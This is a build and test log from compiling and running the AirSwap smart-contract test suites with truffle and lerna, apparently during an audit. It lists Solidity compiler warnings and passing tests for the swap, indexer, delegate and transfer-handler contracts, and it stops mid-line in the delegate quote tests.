@airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/utils/pre-swap-checker/contracts/PreSwapChecker.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/utils/pre-swap-checker/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/delegate' in 13.0s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Delegate.sol > Compiling ./contracts/DelegateFactory.sol > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/interfaces/IDelegate.sol > Compiling ./contracts/interfaces/IDelegateFactory.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/indexer/contracts/Index.sol > Compiling @airswap/indexer/contracts/Indexer.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/Delegate.sol:18:1: Warning: Experimentalfeatures are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/delegate/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/wrapper' in 12.4s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/HelperMock.sol > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Wrapper.sol > Compiling @airswap/delegate/contracts/Delegate.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/indexer/contracts/Index.sol > Compiling @airswap/indexer/contracts/Indexer.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/WETH9.sol > Compiling @airswap/tokens/contracts/interfaces/IWETH.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/wrapper/contracts/Wrapper.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/wrapper/contracts/HelperMock.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/Delegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/wrapper/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna success run Ran npm script 'compile' in 9 packages in 62.4s:lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/tokens lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/deployer lerna success - @airswap/pre-swap-checker lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run test" lerna info run Ran npm script 'test' in '@airswap/order-utils' in 1.4s: $ mocha test Orders ✓ Checks that a generated order is valid Signatures ✓ Checks that a Version 0x45: personalSign signature is valid ✓ Checks that a Version 0x01: signTypedData signature is valid 3 passing (27ms) lerna info run Ran npm script 'test' in '@airswap/transfers' in 10.1s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: TransferHandlerRegistry Unit Tests Test fetching non-existent handler ✓ test fetching non-existent handler, returns null address Test adding handler to registry ✓ test adding, should pass (87ms) Test adding an existing handler from registry will fail ✓ test adding an existing handler will fail (119ms) Contract: TransferHandlerRegistry Deploying... ✓ Deployed TransferHandlerRegistry contract (56ms) ✓ Deployed test contract "AST" (55ms) ✓ Deployed test contract "MintableERC1155Token" (71ms) ✓ Test adding transferHandler by non-owner reverts (46ms) ✓ Set up TokenRegistry (561ms) Minting ERC20 tokens (AST)... ✓ Mints 1000 AST for Alice (67ms) Approving ERC20 tokens (AST)... ✓ Checks approvals (Alice 250 AST (62ms) ERC20 TransferHandler ✓ Checks balances and allowances for Alice and Bob... (99ms) ✓ Checks that Alice cannot trade 200 AST more than allowance of 50 AST (136ms) ✓ Checks remaining balances and approvals were not updated in failed transfer (86ms) ✓ Adding an id with ERC20TransferHandler will cause revert (51ms) ERC721 and CKitty TransferHandler ✓ Deployed test ERC721 contract "ConcertTicket" (70ms) ✓ Deployed test contract "CKITTY" (51ms) ✓ Carol initiates an ERC721 transfer of ConcertTicket #121 tokens from Alice to Bob (224ms) ✓ Carol fails to perform transfer of ConcertTicket #121 from Bob to Alice when an amount is set (103ms) ✓ Mints a kitty collectible (#54321) for Bob (78ms) ✓ Bob approves KittyCoreHandler to transfer his kitty collectible (47ms) ✓ Carol fails to perform transfer of CKITTY collectable #54321 from Bob to Alice when an amount is set (79ms) ✓ Carol initiates a transfer of CKITTY collectable #54321 from Bob to Alice (72ms) ERC1155 TransferHandler ✓ Mints 100 of Dragon game token (#10) for Alice (65ms) ✓ Check the Dragon game token (#10) balance prior to transfer (39ms) ✓ Alice approves ERC115TransferHandler to transfer all the her ERC1155 tokens (38ms) ✓ Carol initiates an ERC1155 transfer of Dragon game token (#10) from Alice to Bob (107ms) 26 passing (4s) lerna info run Ran npm script 'test' in '@airswap/types' in 9.2s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./test/MockTypes.sol > compilation warnings encountered: /Users/ezulkosk/audits/airswap-protocols/source/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/types/test/MockTypes.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Types Unit TestsTest hashing functions within the library ✓ Test hashOrder (163ms) ✓ Test hashDomain (56ms) 2 passing (2s) lerna info run Ran npm script 'test' in '@airswap/indexer' in 26.4s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/IIndexer.sol > Compiling ./contracts/interfaces/ILocatorWhitelist.sol Contract: Index Unit Tests Test constructor ✓ should setup the linked locators as just a head, length 0 (48ms) Test setLocator ✓ should not allow a non owner to call setLocator (91ms) ✓ should not allow a blank locator to be set (49ms) ✓ should allow an entry to be inserted by the owner (112ms) ✓ should insert subsequent entries in the correct order (230ms) ✓ should insert an identical stake after the pre-existing one (281ms) ✓ should not be able to set a second locator if one already exists for an address (115ms) Test updateLocator ✓ should not allow a non owner to call updateLocator (49ms) ✓ should not allow update to non-existent locator (51ms) ✓ should not allow update to a blank locator (121ms) ✓ should allow an entry to be updated by the owner (161ms) ✓ should update the list order on updated score (287ms) Test getting entries ✓ should return the entry of a user (73ms) ✓ should return empty entry for an unset user Test unsetLocator ✓ should not allow a non owner to call unsetLocator (43ms) ✓ should leave state unchanged for someone who hasnt staked (100ms) ✓ should unset the entry for a valid user (230ms) Test getScore ✓ should return no score for a non-user (101ms) ✓ should return the correct score for a valid user Test getLocator ✓ should return empty locator for a non-user (78ms) ✓ should return the correct locator for a valid user (38ms) Test getLocators ✓ returns an array of empty locators ✓ returns specified number of elements if < length (267ms) ✓ returns only length if requested number if larger (198ms) ✓ starts the array at the specified starting user (190ms) ✓ starts the array at the specified starting user - longer list (543ms) ✓ returns nothing for an unstaked user (205ms) Contract: Indexer Unit Tests Check constructor ✓ should set the staking token address correctly Test createIndex ✓ createIndex should emit an event and create a new index (51ms) ✓ createIndex should create index for same token pair but different protocol (101ms) ✓ createIndex should just return an address if the index exists (88ms) Test addTokenToBlacklist and removeTokenFromBlacklist ✓ should not allow a non-owner to blacklist a token (47ms) ✓ should allow the owner to blacklist a token (56ms) ✓ should not emit an event if token is already blacklisted (73ms) ✓ should not allow a non-owner to un-blacklist a token (40ms) ✓ should allow the owner to un-blacklist a token (128ms) Test setIntent ✓ should not set an intent if the index doesnt exist (72ms) ✓ should not set an intent if the locator is not whitelisted (185ms) ✓ should not set an intent if a token is blacklisted (323ms) ✓ should not set an intent if the staking tokens arent approved (266ms) ✓ should set a valid intent on a non-whitelisted indexer (165ms) ✓ should set 2 intents for different protocols on the same market (325ms) ✓ should set a valid intent on a whitelisted indexer (230ms) ✓ should update an intent if the user has already staked - increase stake (369ms) ✓ should fail updating the intent when transfer of staking tokens fails (713ms) ✓ should update an intent if the user has already staked - decrease stake (397ms) ✓ should update an intent if the user has already staked - same stake (371ms) Test unsetIntent ✓ should not unset an intent if the index doesnt exist (44ms) ✓ should not unset an intent if the intent does not exist (146ms) ✓ should successfully unset an intent (294ms) ✓ should revert if unset an intent failed in token transfer (387ms) Test getLocators ✓ should return blank results if the index doesnt exist ✓ should return blank results if a token is blacklisted (204ms) ✓ should otherwise return the intents (758ms) Test getStakedAmount.call ✓ should return 0 if the index does not exist ✓ should retrieve the score on a token pair for a user (208ms) Contract: Indexer Deploying... ✓ Deployed staking token "AST" (39ms) ✓ Deployed trading token "DAI" (43ms) ✓ Deployed trading token "WETH" (45ms) ✓ Deployed Indexer contract (52ms) Index setup ✓ Bob creates a index (collection of intents) for WETH/DAI, LIBP2P (68ms) ✓ Bob tries to create a duplicate index (collection of intents) for WETH/DAI, LIBP2P (54ms)✓ Bob tries to create another index for WETH/DAI, but for Delegates (58ms) ✓ The owner can set and unset a locator whitelist for a locator type (397ms) ✓ Bob ensures no intents are on the Indexer for existing index (54ms) ✓ Bob ensures no intents are on the Indexer for non-existing index ✓ Alice attempts to stake and set an intent but fails due to no index (53ms) Staking ✓ Alice attempts to stake with 0 and set an intent succeeds (76ms) ✓ Alice attempts to unset an intent and succeeds (64ms) ✓ Fails due to no staking token balance (95ms) ✓ Staking tokens are minted for Alice and Bob (71ms) ✓ Fails due to no staking token allowance (102ms) ✓ Alice and Bob approve Indexer to spend staking tokens (64ms) ✓ Checks balances ✓ Alice attempts to stake and set an intent succeeds (86ms) ✓ Checks balances ✓ The Alice can unset alice's intent (113ms) ✓ Bob can set an intent on 2 indexes for the same market (397ms) ✓ Bob can increase his intent stake (193ms) ✓ Bob can decrease his intent stake and change his locator (225ms) ✓ Bob can keep the same stake amount (158ms) ✓ Owner sets the locator whitelist for delegates, and alice cannot set intent (98ms) ✓ Deploy a whitelisted delegate for alice (177ms) ✓ Bob can remove his unwhitelisted intent from delegate index (89ms) ✓ Remove locator whitelist from delegate index (73ms) Intent integrity ✓ Bob ensures only one intent is on the Index for libp2p (67ms) ✓ Alice attempts to unset non-existent index and reverts (50ms) ✓ Bob attempts to unset an intent and succeeds (81ms) ✓ Alice unsets her intent on delegate index and succeeds (77ms) ✓ Bob attempts to unset the intent he just unset and reverts (81ms) ✓ Checks balances (46ms) ✓ Bob ensures there are no more intents the Index for libp2p (55ms) ✓ Alice attempts to set an intent for libp2p and succeeds (91ms) Blacklisting ✓ Alice attempts to blacklist a index and fails because she is not owner (46ms) ✓ Owner attempts to blacklist a index and succeeds (57ms) ✓ Bob tries to fetch intent on blacklisted token ✓ Owner attempts to blacklist same asset which does not emit a new event (42ms) ✓ Alice attempts to stake and set an intent and fails due to blacklist (66ms) ✓ Alice attempts to unset an intent and succeeds regardless of blacklist (90ms) ✓ Alice attempts to remove from blacklist fails because she is not owner (44ms) ✓ Owner attempts to remove non-existent token from blacklist with no event emitted ✓ Owner attempts to remove token from blacklist and succeeds (41ms) ✓ Alice and Bob attempt to stake and set an intent and succeed (262ms) ✓ Bob fetches intents starting at bobAddress (72ms) ✓ shouldn't allow a locator of 0 (269ms) ✓ shouldn't allow a previous stake to be updated with locator 0 (308ms) 106 passing (19s) lerna info run Ran npm script 'test' in '@airswap/swap' in 32.4s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/ISwap.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Swap Handler Checks Deploying... ✓ Deployed Swap contract (1221ms) ✓ Deployed test contract "AST" (41ms) ✓ Deployed test contract "DAI" (41ms) ✓ Deployed test contract "OMG" (52ms) ✓ Deployed test contract "MintableERC1155Token" (48ms) ✓ Test adding transferHandler by non-owner reverts ✓ Set up TokenRegistry (290ms) Minting ERC20 tokens (AST, DAI, and OMG)... ✓ Mints 1000 AST for Alice (84ms) ✓ Mints 1000 OMG for Alice (83ms) ✓ Mints 1000 DAI for Bob (69ms) Approving ERC20 tokens (AST and DAI)... ✓ Checks approvals (Alice 250 AST, 200 OMG, and 0 DAI, Bob 0 AST and 1000 DAI) (238ms) Swaps (Fungible) ✓ Checks that Bob can swap with Alice (200 AST for 50 DAI) (300ms) ✓ Checks balances and allowances for Alice and Bob... (142ms) ✓ Checks that Alice cannot trade 200 AST more than allowance of 50 AST (66ms) ✓ Checks that Bob can not trade more than 950 DAI balance he holds (513ms) ✓ Checks remaining balances and approvals were not updated in failed trades (138ms) ✓ Adding an id with Fungible token will cause revert (513ms) ✓ Checks that adding an affiliate address still swaps (350ms) ✓ Transfers tokens back for future tests (339ms) Swaps (Non-standard Fungible) ✓ Checks that Bob can swap with Alice (200 OMG for 50 DAI) (299ms) ✓ Checks balances... (60ms) ✓ Checks that Bob cannot take the same order again (200 OMG for 50 DAI) (41ms) ✓ Checks balances and approvals... (94ms)✓ Checks that Alice cannot trade 200 OMG when allowance is 0 (126ms) ✓ Checks that Bob can not trade more OMG tokens than he holds (111ms) ✓ Checks remaining balances and approvals (135ms) Deploying NFT tokens... ✓ Deployed test contract "ConcertTicket" (50ms) ✓ Deployed test contract "Collectible" (42ms) Swaps with Fees ✓ Checks that Carol gets paid 50 AST for facilitating a trade between Alice and Bob (393ms) ✓ Checks balances... (93ms) ✓ Checks that Carol gets paid token ticket (#121) for facilitating a trade between Alice and Bob (540ms) Minting ERC721 Tokens ✓ Mints a concert ticket (#12345) for Alice (55ms) ✓ Mints a kitty collectible (#54321) for Bob (48ms) Swaps (Non-Fungible) with unknown kind ✓ Alice approves Swap to transfer her concert ticket (38ms) ✓ Alice sends Bob with an unknown kind for 100 DAI (492ms) Swaps (Non-Fungible) ✓ Alice approves Swap to transfer her concert ticket ✓ Bob cannot buy Ticket #12345 from Alice if she sends id and amount in Party struct (662ms) ✓ Bob buys Ticket #12345 from Alice for 100 DAI (303ms) ✓ Bob approves Swap to transfer his kitty collectible (40ms) ✓ Alice cannot buy Kitty #54321 from Bob for 50 AST if Kitty amount specified (565ms) ✓ Alice buys Kitty #54321 from Bob for 50 AST (423ms) ✓ Alice approves Swap to transfer her kitty collectible (53ms) ✓ Checks that Carol gets paid Kitty #54321 for facilitating a trade between Alice and Bob (389ms) Minting ERC1155 Tokens ✓ Mints 100 of Dragon game token (#10) for Alice (60ms) ✓ Mints 100 of Dragon game token (#15) for Bob (52ms) Swaps (ERC-1155) ✓ Alice approves Swap to transfer all the her ERC1155 tokens ✓ Bob cannot sell 5 Dragon Token (#15) to Alice when he did not approve them (398ms) ✓ Check the balances prior to ERC1155 token transfers (170ms) ✓ Bob buys 50 Dragon Token (#10) from Alice when she sends id and amount in Party struct (303ms) ✓ Checks that Carol gets paid 10 Dragon Token (#10) for facilitating a fungible token transfer trade between Alice and Bob (409ms) ✓ Check the balances after ERC1155 token transfers (161ms) Contract: Swap Unit Tests Test swap ✓ test when order is expired (46ms) ✓ test when order nonce is too low (86ms) ✓ test when sender is provided, and the sender is unauthorized (63ms) ✓ test when sender is provided, the sender is authorized, the signature.v is 0, and the signer wallet is unauthorized (80ms) ✓ test swap when sender and signer are the same (87ms) ✓ test adding ERC20TransferHandler that does not swap incorrectly and transferTokens reverts (445ms) Test cancel ✓ test cancellation with no items ✓ test cancellation with one item (54ms) ✓ test an array of nonces, ensure the cancellation of only those orders (140ms) Test cancelUpTo functionality ✓ test that given a minimum nonce for a signer is set (62ms) ✓ test that given a minimum nonce that all orders below a nonce value are cancelled Test authorize signer ✓ test when the message sender is the authorized signer Test revoke ✓ test that the revokeSigner is successfully removed (51ms) ✓ test that the revokeSender is successfully removed (49ms) Contract: Swap Deploying... ✓ Deployed Swap contract (197ms) ✓ Deployed test contract "AST" (44ms) ✓ Deployed test contract "DAI" (43ms) ✓ Check that TransferHandlerRegistry correctly set ✓ Set up TokenRegistry and ERC20TransferHandler (64ms) Minting ERC20 tokens (AST and DAI)... ✓ Mints 1000 AST for Alice (77ms) ✓ Mints 1000 DAI for Bob (74ms) Approving ERC20 tokens (AST and DAI)... ✓ Checks approvals (Alice 250 AST and 0 DAI, Bob 0 AST and 1000 DAI) (134ms) Swaps (Fungible) ✓ Checks that Alice cannot swap more than balance approved (2000 AST for 50 DAI) (529ms) ✓ Checks that Bob can swap with Alice (200 AST for 50 DAI) (289ms) ✓ Checks that Alice cannot swap with herself (200 AST for 50 AST) (86ms) ✓ Alice sends Bob with an unknown kind for 10 DAI (474ms) ✓ Checks balances... (64ms) ✓ Checks that Bob cannot take the same order again (200 AST for 50 DAI) (50ms) ✓ Checks balances... (66ms) ✓ Checks that Alice cannot trade more than approved (200 AST) (98ms) ✓ Checks that Bob cannot take an expired order (46ms) ✓ Checks that an order is expired when expiry == block.timestamp (52ms) ✓ Checks that Bob can not trade more than he holds (82ms) ✓ Checks remaining balances and approvals (212ms) ✓ Checks that adding an affiliate address but empty token address and amount still swaps (347ms) ✓ Transfers tokens back for future tests (304ms) Signer Delegation (Signer-side) ✓ Checks that David cannot make an order on behalf of Alice (85ms) ✓ Checks that David cannot make an order on behalf of Alice without signature (82ms) ✓ Alice attempts to incorrectly authorize herself to make orders ✓ Alice authorizes David to make orders on her behalf ✓ Alice authorizes David a second time does not emit an event ✓ Alice approves Swap to spend the rest of her AST ✓ Checks that David can make an order on behalf of Alice (314ms) ✓ Alice revokes authorization from David (38ms) ✓ Alice fails to try to revokes authorization from David again ✓ Checks that David can no longer make orders on behalf of Alice (97ms) ✓ Checks remaining balances and approvals (286ms) Sender Delegation (Sender-side) ✓ Checks that Carol cannot take an order on behalf of Bob (69ms) ✓ Bob tries to unsuccessfully authorize himself to be an authorized sender ✓ Bob authorizes Carol to take orders on his behalf ✓ Bob authorizes Carol a second time does not emit an event✓ Checks that Carol can take an order on behalf of Bob (308ms) ✓ Bob revokes sender authorization from Carol ✓ Bob fails to revoke sender authorization from Carol a second time ✓ Checks that Carol can no longer take orders on behalf of Bob (66ms) ✓ Checks remaining balances and approvals (205ms) Signer and Sender Delegation (Three Way) ✓ Alice approves David to make orders on her behalf (50ms) ✓ Bob approves David to take orders on his behalf (38ms) ✓ Alice gives an unsigned order to David who takes it for Bob (199ms) ✓ Checks remaining balances and approvals (160ms) Signer and Sender Delegation (Four Way) ✓ Bob approves Carol to take orders on his behalf ✓ David makes an order for Alice, Carol takes the order for Bob (345ms) ✓ Bob revokes the authorization to Carol ✓ Checks remaining balances and approvals (141ms) Cancels ✓ Checks that Alice is able to cancel order with nonce 1 ✓ Checks that Alice is unable to cancel order with nonce 1 twice ✓ Checks that Bob is unable to take an order with nonce 1 (46ms) ✓ Checks that Alice is able to set a minimum nonce of 4 ✓ Checks that Bob is unable to take an order with nonce 2 (50ms) ✓ Checks that Bob is unable to take an order with nonce 3 (58ms) ✓ Checks existing balances (Alice 650 AST and 180 DAI, Bob 350 AST and 820 DAI) (146ms) Swaps with Fees ✓ Checks that Carol gets paid 50 AST for facilitating a trade between Alice and Bob (410ms) ✓ Checks balances... (97ms) Swap with Public Orders (No Sender Set) ✓ Checks that a Swap succeeds without a sender wallet set (292ms) Signatures ✓ Checks that an invalid signer signature will revert (328ms) ✓ Alice authorizes Eve to make orders on her behalf ✓ Checks that an invalid delegate signature will revert (376ms) ✓ Checks that an invalid signature version will revert (146ms) ✓ Checks that a private key signature is valid (285ms) ✓ Checks that a typed data (EIP712) signature is valid (294ms) 131 passing (23s) lerna info run Ran npm script 'test' in '@airswap/delegate' in 29.7s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/IDelegate.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Delegate Factory Tests Test deploying factory ✓ should have set swapContract ✓ should have set indexerContract Test deploying delegates ✓ should emit event and update the mapping (135ms) ✓ should create delegate with the correct values (361ms) Contract: Delegate Unit Tests Test constructor ✓ Test initial Swap Contract ✓ Test initial trade wallet value ✓ Test initial protocol value ✓ Test constructor sets the owner as the trade wallet on empty address (193ms) ✓ Test owner is set correctly having been provided an empty address ✓ Test owner is set correctly if provided an address (180ms) ✓ Test indexer is unable to pull funds from delegate account (258ms) Test setRule ✓ Test setRule permissions as not owner (76ms) ✓ Test setRule permissions as owner (121ms) ✓ Test setRule (98ms) ✓ Test setRule for zero priceCoef does revert (62ms) Test unsetRule ✓ Test unsetRule permissions as not owner (89ms) ✓ Test unsetRule permissions (54ms) ✓ Test unsetRule (167ms) Test setRuleAndIntent() ✓ Test calling setRuleAndIntent with transfer error (589ms) ✓ Test successfully calling setRuleAndIntent with 0 staked amount (260ms) ✓ Test successfully calling setRuleAndIntent with staked amount (312ms) ✓ Test unsuccessfully calling setRuleAndIntent with decreased staked amount (998ms) Test unsetRuleAndIntent() ✓ Test calling unsetRuleAndIntent() with transfer error (466ms) ✓ Test successfully calling unsetRuleAndIntent() with 0 staked amount (179ms) ✓ Test successfully calling unsetRuleAndIntent() with staked amount (515ms) ✓ Test successfully calling unsetRuleAndIntent() with staked amount (427ms) Test setTradeWallet ✓ Test setTradeWallet when not owner (81ms) ✓ Test setTradeWallet when owner (148ms) ✓ Test setTradeWallet with empty address (88ms) Test transfer of ownership✓ Test ownership after transfer (103ms) Test getSignerSideQuote ✓ test when rule does not exist ✓ test when delegate amount is greater than max delegate amount (88ms) ✓ test when delegate amount is 0 (102ms) ✓ test a successful call - getSignerSideQuote (91ms) Test getSenderSideQuote ✓ test when rule does not exist (64ms) ✓ test when delegate amount is not within acceptable value bounds (104ms) ✓ test a successful call - getSenderSideQuote (68ms) Test getMaxQuote ✓ test when rule does not exist ✓ test a successful call - getMaxQuote (67ms) Test provideOrder ✓ test if a rule does not exist (84ms) ✓ test if an order exceeds maximum amount (120ms) ✓ test if the sender is not empty and not the trade wallet (107ms) ✓ test if order is not priced according to the rule (118ms) ✓ test if order sender and signer amount are not matching (191ms) ✓ test if order signer kind is not an ERC20 interface id (110ms) ✓ test if order sender kind is not an ERC20 interface id (123ms) ✓ test a successful transaction with integer values (310ms) ✓ test a successful transaction with trade wallet as sender (278ms) ✓ test a successful transaction with decimal values (253ms) ✓ test a getting a signerSideQuote and passing it into provideOrder (241ms) ✓ test a getting a senderSideQuote and passing it into provideOrder (252ms) ✓ test a getting a getMaxQuote and passing it into provideOrder (252ms) ✓ test the signer trying to trade just 1 unit over the rule price - fails (121ms) ✓ test the signer trying to trade just 1 unit less than the rule price - passes (212ms) ✓ test the signer trying to trade the exact amount of rule price - passes (269ms) ✓ Send order without signature to the delegate (55ms) Contract: Delegate Integration Tests Test the delegate constructor ✓ Test that delegateOwner set as 0x0 passes (87ms) ✓ Test that trade wallet set as 0x0 passes (83ms) Checks setTradeWallet ✓ Does not set a 0x0 trade wallet (41ms) ✓ Does set a new valid trade wallet address (80ms) ✓ Non-owner cannot set a new address (42ms) Checks set and unset rule ✓ Set and unset a rule for WETH/DAI (123ms) ✓ Test setRule for zero priceCoef does revert (52ms) Test setRuleAndIntent() ✓ Test successfully calling setRuleAndIntent (345ms) ✓ Test successfully increasing stake with setRuleAndIntent (312ms) ✓ Test successfully decreasing stake to 0 with setRuleAndIntent (313ms) ✓ Test successfully calling setRuleAndIntent (318ms) ✓ Test successfully calling setRuleAndIntent with no-stake change (196ms) Test unsetRuleAndIntent() ✓ Test successfully calling unsetRuleAndIntent() (223ms) ✓ Test successfully setting stake to 0 with setRuleAndIntent and then unsetting (402ms) Checks pricing logic from the Delegate ✓ Send up to 100K WETH for DAI at 300 DAI/WETH (76ms) ✓ Send up to 100K DAI for WETH at 0.0032 WETH/DAI (71ms) ✓ Send up to 100K WETH for DAI at 300.005 DAI/WETH (110ms) Checks quotes from the Delegate ✓ Gets a quote to buy 23412 DAI for WETH (Quote: 